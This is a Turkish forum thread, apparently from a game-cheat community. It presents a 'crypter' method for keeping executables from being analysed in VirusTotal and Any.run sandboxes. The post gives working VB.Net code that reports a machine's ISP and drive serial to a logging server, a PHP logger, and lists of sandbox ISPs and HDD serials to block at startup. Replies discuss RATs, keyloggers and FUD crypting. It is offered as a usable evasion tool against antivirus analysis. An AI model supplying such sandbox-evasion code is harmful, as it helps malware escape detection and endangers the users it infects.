Neler yeni

Dream Crypter - VirusTotal Sonuçlarını En Aza İndir ve AntiVirüslere Yakalanma

Dreamfancy

Dreamfancy 

Kurucu
Katılım
2 Eyl 2019
Mesajlar
1,780
Beğeniler
3,744
İletişim
Açıklama
Merhabalar, böyle bir projeyi paylaştığım için bana deli diyebilirsiniz ancak bilgi paylaştıkça güçlenir sözüne inandığım için bunu yapıyorum.
Eğer bu projede şunu yanlış yapıyorsun, şu şöyle olmalı bu böyle olmalı diyen arkadaşlarımız varsa tartışmaya da açık olduğumuzu belirtelim.
Zaten bu platformu kurma sebebim bile bendeki bilgi birikimini gelecek nesillere aktarıp dahada gelişmesini sağlamak ve Türkiye'yi bu alanda yükseltmek.
O yüzden hiçbir zaman diğer platformlar gibi bu tarz bilgileri kendimize saklamaz ve sizlerden esirgemeyiz. Eğer sizlere source yani kaynak kodu vereceğimi
düşünüyorsanız yanılıyorsunuz. Copy paster arkadaşlardan kendimizi korumak için ve sadece bu çalışmayı yapacak kapasiteye sahip olan ve hakedenler için
nasıl bir yol izlemeniz gerektiğini anlatacağım. Bu şekilde bazı önemli çalışmalarınız VirusTotal'e yüklendiğinde 30 tane sonuç çıkarmak yerine yalnızca
3 tane sonuç gösterecektir. Bu projeyi tabii ki kötü amaçlarda kullanmak isteyenler olacaktır. Onlara karşı alacağınız önlem çok basit, eğer avast antivirüs
bilgisayarınızda yüklüyse onu kullanın. Çünkü bu method asla avast'ı geçemiyor. Şuanda bu method cheatglobal'in hiçbir projesinde kullanılmamıştır.
O yüzden endişelenmeyin ve felaket tellallığı yapacak olan maymunlar da yorum yapmaktan vazgeçsin. Şimdi projeyi anlatmaya başlayalım;


Hadi Başlayalım
Şimdi siz bir Injector kodlamaya karar verdiniz. Ama VirusTotal sizin injector yazılımınız zararsız olsa bile aşağıdaki gibi bir sonuç veriyor.
N5QCnwo.png



VirusTotal'deki her AntiVirüs'ün bir graph laboratuvarı vardır. Bu test bilgisayarlarına virustotale yükleme yaptığınızda exe dosyalarınız gönderilir.
Bu exe dosyaları test bilgisayarlarındaki anti virüsün yapay zeka taramasından geçer ve davranışlarını analiz eder. Eğer programınız sertifikalı değilse
yada kurumsal bir dosya değilse bu tespit edilir ve bütün anti virüsler bu dosyayı virüs olarak görmeye başlar. Ama biz anti virüslerin test bilgisayarlarında
dosyamızın açılmasını engelleyip tarama yapmalarına izin vermiyoruz. Bunun için exe'nin form load yani form başlangıcına bir kaç satır kod yazmamız gerekiyor.
Bu kodları yazdığınızda hiçbir anti virüs dosyalarınızı laboratuvara gönderemicek ve inceleyemeyecek. Bu sayede dosyanız virustotal'de 3 tane sonuç gösterecek.
A8DZMN1.png


Şimdi anti virüslerin graph laboratuvarlarında dosyamızın engellenmesini ve gönderilmesini nasıl engelleyeceğimizi konuşalım.
VB.Net'te şöyle bir kod yazdım. Bu kodun amacı bu adreslere get isteği atarak virustotal test bilgisayarlarının ISP ve HWID bilgisini almak
Bu methodu Any Run'da uygulamıştım. Any.run sistemlerinde oldukça başarılı bir sonuç verdi. Hiçbir şekilde exe any run'da açılmıyordu.
Bende bunu VirusTotal'de neden yapamayım? Diye düşündüm ve uygulamaya koydum sonra başarılı oldum. Aşağıdaki adreslerde örnek hostname_goster.php ve
isp_goster.php diye bir dosya oluşturdum. O dosyalarda virus totalden gelen ISP ve HWID bilgilerini log altına alıyorum. Bu logları aldıktan ve topladıktan sonra
Yapacağım yazılımın form load kısmına engelleme atarak virustotal'in test bilgisayarlarında açılmasını engelliyorum.

Kod: 
Imports System.Net.Http
Imports System.Web.Script.Serialization

Public Class Form1
    Public Any_Run As String = "0"

    Public ISP_Get As String = "0"
    Public ISP_Decrypt As String = "0"

    Public Response_1 As String = "0"
    Public Response_2 As String = "0"

    Public HTTP_Server As HttpClient = New HttpClient()
    Public JavaScript As New JavaScriptSerializer()

    Public Function GetDrive() As String
        Dim DriveSerial As Integer
        Dim fso As Object = CreateObject("Scripting.FileSystemObject")
        Dim Drv As Object = fso.GetDrive(fso.GetDriveName(Application.StartupPath))
        With Drv
            If .IsReady Then
                DriveSerial = .SerialNumber
            Else
                DriveSerial = -1
            End If
        End With
        Return DriveSerial.ToString("X2")
    End Function

    Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
        Any_Run = GetDrive()

        Dim get_data As HttpResponseMessage = HTTP_Server.GetAsync("http://ip-api.com/json/?fields=61439").Result
        If get_data.IsSuccessStatusCode Then
            ISP_Get = get_data.Content.ReadAsStringAsync().Result
        End If

        Dim Json_Read As Dictionary(Of String, String) = JavaScript.Deserialize(Of Dictionary(Of String, String))(ISP_Get)
        ISP_Decrypt = Json_Read("isp")


        Dim send_isp As HttpResponseMessage = HTTP_Server.GetAsync("http://example.com/isp_goster.php?isp=" + ISP_Decrypt).Result
        If send_isp.IsSuccessStatusCode Then
            Response_1 = send_isp.Content.ReadAsStringAsync().Result
        End If

        Dim send_drive As HttpResponseMessage = HTTP_Server.GetAsync("http://example.com/hostname_goster.php?isp=" + Any_Run).Result
        If send_drive.IsSuccessStatusCode Then
            Response_2 = send_drive.Content.ReadAsStringAsync().Result
        End If
    End Sub
End Class


PHP ile gelen ISP ve Hwid'i Log olarak kaydetmek istiyorsanız bu kodu kullanabilirsiniz.
Kod: 
<?php

//file_put_contents("input2.txt", print_r($_SERVER, true)."\n\n".print_r($_GET, true));

$isp = $_GET["isp"];

$file = fopen("log2.txt", "a");
fwrite($file, "\n\n");
fwrite($file, $isp);
fwrite($file, "\n\n");
fwrite($file, "--------------------------------");
fclose($file);


Benim şu zamana kadar topladığım loglar aşağıdaki gibidir. Bunları projenize ekleyip kullanabilirsiniz.
Korkmayın bunlar gerçek bilgisayarların ISP'si yada HWID bilgisi değil. Hepsi VirusTotal graph bilgisayarlarına aittir.

ISP Log
Kod: 
Sony Network Communications Inc.
AVAST Software s.r.o
Tefincom S.A.
SOVAM
PJSC "Vimpelcom"
SK Broadband
OOO "Network of data-centers "Selectel"
UCLOUD
Hot-Net internet services Ltd.
Performive LLC
M247 Europe Infra
m247 europe infra
Ebone Network (Pvt) Ltd
Siberian Aerospace Academy
TELUS Communications Inc
OVH Hosting
Corbina Broadband Sovam
Sovam Teleport
Digital Network JSC
Emerald Onion
OVH SAS
SK%20Broadband
Deutsche Telekom AG
SK Broadband/favicon.ico
Beijing Kingsoft Cloud Internet Technology Co
Amazon.com, Inc.
M247 Europe SRL
BEZEQINT
Google LLC
TOKAI Communications Corporation
Company for communications services A1 Makedonija DOOEL Skopje
EDN SOVINTEL
Google%20LLC
Shaw Communications Inc.
ARCOR-IP
Bell Canada

HDD Serial Number Log
Kod: 
ACFEEEC3
835A44B8
96E8FDB8
925ECBB2
BCF91B98
8FA9416
88FDB972
72C5196D
8A69F4B
7C783FD6
D609A6B9
8038B722
A8A68EEB
204D0C4F
A87F9AD4
BC637B40
CC5D85EE
AFB3BCC
DC8B3A5E
F8C9BD71
ACF28A20
91D435A9
2552D488
90549DEE
3C08B7A9
 
Son düzenleme:
Anti virüslerin isp ve hdd serial number bilgilerini almak için önce yukarda örnekte gösterdiğim gibi bir yazılım hazırlayın ve daha sonra VirusTotal'e yükleyin. Yaklaşık 1 hafta boyunca VirusTotal'de kalsın o dosya, hatta 2-3 tane yükleyin ve 1 hafta bırakın. 1 Hafta sonra geri dönüp topladığınız logları alın ve yazılımınızda engelleyin. Bu şekilde virustotal'de sürekli saçma sapan sonuçların çıkmasını engelleyebilirsiniz.

Not: Bu methodu kötü amaçla kullanacak olan kişiler olursa ve onları tespit edersek bu kişilerin herkese ibret olması için güzel bir cezalandırma yöntemi uygulayacağız. Bunu merak eden varsa uygulasın ve sonuçlarını izlesin. Amacımız bu alanda ilerleyen iyi niyetli kişilere bir katkı sağlayabilmek, yaptığınız yazılımlar kötü niyetli olmamasına rağmen virustotalde sonuçları kabarık çıkıyor ve bu yazılım geliştiricilerine boş yere kullanıcı kaybettiriyor. Artık yazılımlarınızda bunu kullanırsanız meraklı ve sorgulayıcı arkadaşları üzerinizden atabilir ve kullanıcıların güvenini kazanabilirsiniz.
 
Son düzenleme:
Millettin başı yanacak :kappajail:
 
Seksepalite' Alıntı:
Millettin başı yanacak :kappajail:
Genişletmek için tıkla ...
bu öyle birşey değil cano :D bende okuyunca anladım crypt ama virüsü saklamak için değil çok mantıklı geldi aslında bana , bu kodu rat yazabileler kullanabilir ama bunu form loada sıkıştırması lazım payloadlamadan önce piyasada trde ratcıların nerdeyse hepsi hazır kullanıyorlar bunlar için özel crypther var bu işlemez amaç sizin yaptığınız örnek veriyorum asdas hilesinin saçma sapan virüs diye çıkmaması için yada ben yanlış anladım
 
emrose' Alıntı:
FUD değil,virustotal pclerinde çalışmasını engelleyerek scan sonucu olarak virüs olarak algılanmamasını sağlıyor. Legal geliştiricilerin işine yarar
Genişletmek için tıkla ...
farkettim okurken eyw yinede bir üst mesajda belirttim
 
Sergey' Alıntı:
bu öyle birşey değil cano :D bende okuyunca anladım crypt ama virüsü saklamak için değil çok mantıklı geldi aslında bana , bu kodu rat yazabileler kullanabilir ama bunu form loada sıkıştırması lazım payloadlamadan önce piyasada trde ratcıların nerdeyse hepsi hazır kullanıyorlar bunlar için özel crypther var bu işlemez amaç sizin yaptığınız örnek veriyorum asdas hilesinin saçma sapan virüs diye çıkmaması için yada ben yanlış anladım
Genişletmek için tıkla ...
Şöyle ki antivirüsler koddan ve virustotal baseddan daha çok programın hareketlerine bakar örnek olarak;
Elinizde Quasar rat ve patlamış bir fud algoritması olduğunu var sayalım
Quasar ratı keylog ile buildleyip patlamış fud algoritması ile fudlarsanız defender yakalayacaktır fakat keylog aktif olmadan buildlerseniz muhtemelen ötmeyecektir. Bu daha çok projeniz için sertifikanız yoksa,imzanız yoksa saçma sonuçlar canınızı sıkmasın diye yapılmış yani RAT kısmında işlevsiz
 
Cevap yazmak için giriş yap yada kayıt ol.

  Şuanda konuyu görüntüleyen kullanıcılar

Toplam: 2 (Kullanıcı: 0, ziyaretçi: 2)

Üst Alt